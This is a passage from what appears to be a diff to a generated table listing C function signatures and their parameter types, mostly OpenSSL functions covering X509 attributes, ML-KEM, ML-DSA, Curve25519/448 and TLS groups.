PKCS7_simple_smimecap | 0 | stack_st_X509_ALGOR * | +| (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 1 | int | +| (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | int | +| (stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *) | | X509at_add1_attr | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *) | | X509at_add1_attr | 1 | X509_ATTRIBUTE * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 2 | int | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 4 | int | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 2 | int | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 4 | int | +| (stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *) | | ossl_x509at_add1_attr | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *) | | ossl_x509at_add1_attr | 1 | const X509_ATTRIBUTE * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 1 | const char * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 2 | int | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 4 | int | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 1 | const char * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 2 | int | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 4 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 1 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 2 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 4 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 1 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 2 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 4 | int | +| (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 0 | stack_st_X509_ATTRIBUTE * | +| (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | int | +| (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 0 | stack_st_X509_EXTENSION ** | +| (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 1 | X509_EXTENSION * | +| (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | int | +| (stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *) | | X509v3_add_extensions | 0 | stack_st_X509_EXTENSION ** | +| (stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *) | | X509v3_add_extensions | 1 | const stack_st_X509_EXTENSION * | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 0 | stack_st_X509_EXTENSION ** | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 1 | int | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 2 | void * | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 3 | int | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 4 | unsigned long | +| (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 0 | stack_st_X509_EXTENSION * | +| (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | int | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_idx_by_subject | 0 | stack_st_X509_OBJECT * | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_idx_by_subject | 1 | X509_LOOKUP_TYPE | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_idx_by_subject | 2 | const X509_NAME * | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_retrieve_by_subject | 0 | stack_st_X509_OBJECT * | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_retrieve_by_subject | 1 | X509_LOOKUP_TYPE | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_retrieve_by_subject | 2 | const X509_NAME * | +| (stack_st_X509_OBJECT *,X509_OBJECT *) | | X509_OBJECT_retrieve_match | 0 | stack_st_X509_OBJECT * | +| (stack_st_X509_OBJECT *,X509_OBJECT *) | | X509_OBJECT_retrieve_match | 1 | X509_OBJECT * | +| (stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_tree_find_sk | 0 | stack_st_X509_POLICY_NODE * | +| (stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_tree_find_sk | 1 | const ASN1_OBJECT * | +| (state *,config *) | | State_insert | 0 | state * | +| (state *,config *) | | State_insert | 1 | config * | +| (symbol *,lemon *) | | has_destructor | 0 | symbol * | +| (symbol *,lemon *) | | has_destructor | 1 | lemon * | +| (tm *,const ASN1_TIME *) | | ossl_asn1_time_to_tm | 0 | tm * | +| (tm *,const ASN1_TIME *) | | ossl_asn1_time_to_tm | 1 | const ASN1_TIME * | +| (tm *,const ASN1_UTCTIME *) | | ossl_asn1_utctime_to_tm | 0 | tm * | +| (tm *,const ASN1_UTCTIME *) | | ossl_asn1_utctime_to_tm | 1 | const ASN1_UTCTIME * | +| (tm *,int,long) | | OPENSSL_gmtime_adj | 0 | tm * | +| (tm *,int,long) | | OPENSSL_gmtime_adj | 1 | int | +| (tm *,int,long) | | OPENSSL_gmtime_adj | 2 | long | +| (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 0 | u64[2] | +| (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 1 | const u128[16] | +| (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 2 | const u8 * | +| (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 3 | size_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 0 | uint8_t * | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 1 | const uint8_t * | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 2 | size_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 3 | const uint8_t[32] | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 4 | const uint8_t[32] | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 5 | const uint8_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 6 | const uint8_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 7 | const uint8_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 8 | const uint8_t * | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 9 | size_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 10 | OSSL_LIB_CTX * | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 11 | const char * | +| (uint8_t *,size_t) | | ossl_fnv1a_hash | 0 | uint8_t * | +| (uint8_t *,size_t) | | ossl_fnv1a_hash | 1 | size_t | +| (uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_genkey | 0 | uint8_t * | +| (uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_genkey | 1 | size_t | +| (uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_genkey | 2 | ML_KEM_KEY * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_private_key | 0 | uint8_t * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_private_key | 1 | size_t | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_private_key | 2 | const ML_KEM_KEY * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_public_key | 0 | uint8_t * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_public_key | 1 | size_t | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_public_key | 2 | const ML_KEM_KEY * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_seed | 0 | uint8_t * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_seed | 1 | size_t | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_seed | 2 | const ML_KEM_KEY * | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 0 | uint8_t * | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 1 | size_t | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 2 | const uint8_t * | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 3 | size_t | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 4 | const ML_KEM_KEY * | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 0 | uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 1 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 2 | uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 3 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 4 | const ML_KEM_KEY * | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 0 | uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 1 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 2 | uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 3 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 4 | const uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 5 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 6 | const ML_KEM_KEY * | +| (uint8_t *,unsigned char *,uint64_t) | | ossl_quic_vlint_encode | 0 | uint8_t * | +| (uint8_t *,unsigned char *,uint64_t) | | ossl_quic_vlint_encode | 1 | unsigned char * | +| (uint8_t *,unsigned char *,uint64_t) | | ossl_quic_vlint_encode | 2 | uint64_t | +| (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 0 | uint8_t * | +| (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 1 | unsigned char * | +| (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 2 | uint64_t | +| (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 3 | int | +| (uint8_t[32],const uint8_t[32]) | | ossl_x25519_public_from_private | 0 | uint8_t[32] | +| (uint8_t[32],const uint8_t[32]) | | ossl_x25519_public_from_private | 1 | const uint8_t[32] | +| (uint8_t[32],const uint8_t[32],const uint8_t[32]) | | ossl_x25519 | 0 | uint8_t[32] | +| (uint8_t[32],const uint8_t[32],const uint8_t[32]) | | ossl_x25519 | 1 | const uint8_t[32] | +| (uint8_t[32],const uint8_t[32],const uint8_t[32]) | | ossl_x25519 | 2 | const uint8_t[32] | +| (uint8_t[56],const curve448_point_t) | | ossl_curve448_point_mul_by_ratio_and_encode_like_x448 | 0 | uint8_t[56] | +| (uint8_t[56],const curve448_point_t) | | ossl_curve448_point_mul_by_ratio_and_encode_like_x448 | 1 | const curve448_point_t | +| (uint8_t[56],const gf,int) | | gf_serialize | 0 | uint8_t[56] | +| (uint8_t[56],const gf,int) | | gf_serialize | 1 | const gf | +| (uint8_t[56],const gf,int) | | gf_serialize | 2 | int | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448 | 0 | uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448 | 1 | const uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448 | 2 | const uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448_int | 0 | uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448_int | 1 | const uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448_int | 2 | const uint8_t[56] | +| (uint8_t[57],const curve448_point_t) | | ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa | 0 | uint8_t[57] | +| (uint8_t[57],const curve448_point_t) | | ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa | 1 | const curve448_point_t | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 0 | uint16_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 1 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 2 | uint16_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 3 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 4 | size_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 5 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 6 | int * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 7 | size_t | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 0 | uint16_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 1 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 2 | uint16_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 3 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 4 | size_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 5 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 6 | void * | +| (uint16_t,int) | | tls1_group_id2nid | 0 | uint16_t | +| (uint16_t,int) | | tls1_group_id2nid | 1 | int | +| (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 0 | uint32_t * | +| (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 1 | SSL_CONNECTION * | +| (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | int | +| (uint32_t,uint32_t *,uint32_t *) | | ossl_ml_dsa_key_compress_power2_round | 0 | uint32_t | +| (uint32_t,uint32_t *,uint32_t *) | | ossl_ml_dsa_key_compress_power2_round | 1 | uint32_t * | +| (uint32_t,uint32_t *,uint32_t *) | | ossl_ml_dsa_key_compress_power2_round | 2 | uint32_t * | +| (uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_high_bits | 0 | uint32_t | +| (uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_high_bits | 1 | uint32_t | +| (uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_low_bits | 0 | uint32_t | +| (uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_low_bits | 1 | uint32_t | +| (uint32_t,uint32_t,uint32_t *,int32_t *) | | ossl_ml_dsa_key_compress_decompose | 0 | uint32_t | +| (uint32_t,uint32_t,uint32_t *,int32_t *) | | ossl_ml_dsa_key_compress_decompose | 1 | uint32_t | +| (uint32_t,uint32_t,uint32_t *,int32_t *) | | ossl_ml_dsa_key_compress_decompose | 2 | uint32_t * | +| (uint32_t,uint32_t,uint32_t *,int32_t *) | | ossl_ml_dsa_key_compress_decompose | 3 | int32_t * | +| (uint32_t,uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_use_hint | 0 | uint32_t | +| (uint32_t,uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_use_hint | 1 | uint32_t | +| (uint32_t,uint32_t,uint32_t) | | ossl_ml_dsa_key_compress_use_hint | 2 | uint32_t | +| (uint64_t *,const ASN1_INTEGER *) | | ASN1_INTEGER_get_uint64 | 0 | uint64_t * | +| (uint64_t *,const ASN1_INTEGER *) | | ASN1_INTEGER_get_uint64 | 1 | const ASN1_INTEGER * | +| (uint64_t *,int *,const unsigned char **,long) | | ossl_c2i_uint64_int | 0 | uint64_t * | +| (uint64_t *,int *,const unsigned char **,long) | | ossl_c2i_uint64_int | 1 | int * | +| (uint64_t *,int *,const unsigned char **,long) | | ossl_c2i_uint64_int | 2 | const unsigned char ** | +| (uint64_t *,int *,const unsigned char **,long) | | ossl_c2i_uint64_int | 3 | long | +| (uint64_t *,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_load | 0 | uint64_t * | +| (uint64_t *,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_load | 1 | uint64_t * | +| (uint64_t *,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_load | 2 | CRYPTO_RWLOCK * | +| (uint64_t *,uint64_t,CRYPTO_RWLOCK *) | | CRYPTO_atomic_store | 0 | uint64_t * | +| (uint64_t *,uint64_t,CRYPTO_RWLOCK *) | | CRYPTO_atomic_store | 1 | uint64_t | +| (uint64_t *,uint64_t,CRYPTO_RWLOCK *) | | CRYPTO_atomic_store | 2 | CRYPTO_RWLOCK * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_add64 | 0 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_add64 | 1 | uint64_t | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_add64 | 2 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_add64 | 3 | CRYPTO_RWLOCK * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_and | 0 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_and | 1 | uint64_t | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_and | 2 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_and | 3 | CRYPTO_RWLOCK * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_or | 0 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_or | 1 | uint64_t | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_or | 2 | uint64_t * | +| (uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *) | | CRYPTO_atomic_or | 3 | CRYPTO_RWLOCK * | +| (uint64_t,uint64_t *) | | ossl_adjust_domain_flags | 0 | uint64_t | +| (uint64_t,uint64_t *) | | ossl_adjust_domain_flags | 1 | uint64_t * | | (unsigned char *) | CStringT | CStringT | 0 | unsigned char * | +| (unsigned char **) | | ASN1_put_eoc | 0 | unsigned char ** | +| (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 0 | unsigned char ** | +| (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 1 | X509_ALGOR * | +| (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 2 | ASN1_OCTET_STRING * | +| (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 3 | int | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 0 | unsigned char ** | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 1 | int | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 2 | int | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 3 | int | +| (unsigned char **,int,int,int,int) | | ASN1_put_object | 4 | int | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 0 | unsigned char ** | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 1 | long * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 2 | char ** | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 3 | const char * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 4 | BIO * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 5 | pem_password_cb * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio | 6 | void * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 0 | unsigned char ** | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 1 | long * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 2 | char ** | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 3 | const char * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 4 | BIO * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 5 | pem_password_cb * | +| (unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *) | | PEM_bytes_read_bio_secmem | 6 | void * | +| (unsigned char **,long) | | ASN1_check_infinite_end | 0 | unsigned char ** | +| (unsigned char **,long) | | ASN1_check_infinite_end | 1 | long | +| (unsigned char **,size_t *,const EC_POINT *,const EC_KEY *) | | ossl_ecdh_simple_compute_key | 0 | unsigned char ** | +| (unsigned char **,size_t *,const EC_POINT *,const EC_KEY *) | | ossl_ecdh_simple_compute_key | 1 | size_t * | +| (unsigned char **,size_t *,const EC_POINT *,const EC_KEY *) | | ossl_ecdh_simple_compute_key | 2 | const EC_POINT * | +| (unsigned char **,size_t *,const EC_POINT *,const EC_KEY *) | | ossl_ecdh_simple_compute_key | 3 | const EC_KEY * | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 0 | unsigned char ** | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 1 | unsigned char * | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 2 | const unsigned char * | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 3 | unsigned int | +| (unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 4 | const unsigned char * | +| (unsigned char **,unsigned char 